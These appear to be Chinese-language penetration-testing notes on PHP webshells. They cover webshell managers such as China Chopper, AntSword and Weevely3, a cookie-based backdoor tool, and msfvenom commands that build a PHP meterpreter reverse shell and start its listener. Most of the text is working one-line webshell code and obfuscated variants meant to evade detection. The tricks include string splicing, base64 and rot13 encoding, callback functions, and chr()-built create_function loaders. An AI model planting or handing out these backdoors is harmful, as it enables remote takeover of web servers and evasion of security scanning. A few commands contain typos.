大馬:代碼量大,體積大,可以和一句話木馬配合使用(先傳一句話后傳大馬),一般同意被發現,可變形或偽裝(編碼、遠程接入),主要功能:文件管理、,命令執行、數據庫管理、清理木馬、屑木馬、收集信息、提權等。
Webshell管理工具的介紹和使用:
Webshell工具主要和一句話配合使用
中國菜刀、中國蟻劍等
Weevely3生成網頁木馬(基於python)
python weevely.py -h
python weevely.py generate cmd ./backdoor.php (cmd是密碼)將產生的webshell投放到目標站點中
這樣就制作出了cmd為密碼的后門php
weevely.py http://127.0.0.1/backdoor.php cmd就能進入后門,得到shell
Backcookie后門生成工具
基於cookie的后門
(注意,要將cookie轉為64位,或從前端獲取)
這樣頁面就會直接顯示獲取到的
使用msf生成木馬
msfvenom -h 查看幫助信息
Msfvenom --help -formats 查看能夠使用format生成的類型
1、msfvenom -p php/meterpreter/reverse_tcp lohst=127.0.0.1 lport6789 -f raw >./phpbackdoor.php
然后將代碼拷貝出來
2、開啟msf並監聽
search exploit/hanler //(exploit/multi/handle::通用有效負載處理程序)
use exploit/multi/handler //使用模塊
show options //配置
set lhost=127.0.0.1
set lport=6789
set payload php/meterpreter/reverse_tcp //設置測試的載荷
exploit -j 啟動監聽
3、瀏覽器訪問木馬文件
一句話變形技巧和使用
簡單變形:
(1)$a=str_replace("x", "", "axsxxxxsxexrt");
$a($_POST["cmd"]);
(2)$_GET["k"]($_GET["v"]);
http://127.0.0.1/eee.php?k=assert&v=phpinfo();
(3)preg_replace函數
preg_replace的/e模式可以執行惡意代碼(放在第二個參數里,如
<?php
preg_replace("/pen/e", '@eval("echo 1;")', "pentest");
?>
)
<?php
($code=$_POST["code"])&&
preg_replace("/pen/e", '@'.str_rot13('riny').'($code)', "pentest");
?>
(4)自定義函數create_function():create_function(參數列表,string類型code)
<?php $fun=create_function('',$_POST['a']);
$fun();
?>
(5)回調函數 call_user_func()
<?php
@call_user_func(assert,$_POST['a']);
?>
call_user_func(函數名,string的code)
(6)file_put_contents函數
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>
file_put_contents("shell.php", $_GET[‘k’]);
其他方式:
PHP變量函數
<?php
$a = "eval";
$a(@$_POST['a']);
?>
PHP可變變量
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>
str_replace函數
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
?>
base64_decode函數
<?php
$a=base64_decode("ZXZhbA==");
$a($_POST['a']);
?>
$_base64_decode("YXNzZXJ0");
$_(str_rot13('riny($_CBFG[cntr]);'));
"."操作符
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
parse_str函數,將查詢字符串解析到變量中
<?php
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>
http://192.168.11.59/convert/th4.php?e=assert(assert可用作回調函數)
array_filter函數 用回調函數過濾數組中的元素
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
array_map函數,將函數作用到數組中的每個值上,做相應的處理,並返回帶有新值的數組:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
uasort函數,使用用戶自定義的比較函數對數組 $arr 中的元素按鍵值進行排序:PHP>5.4
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
加密類變形
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
eval($_POST["cmd"])
http://www.target.com/shell.php cmd
content=JF9QT1NUWyJjbWQiXQ==
com=123
變量拼接類變形
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
加密拼接類變形
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>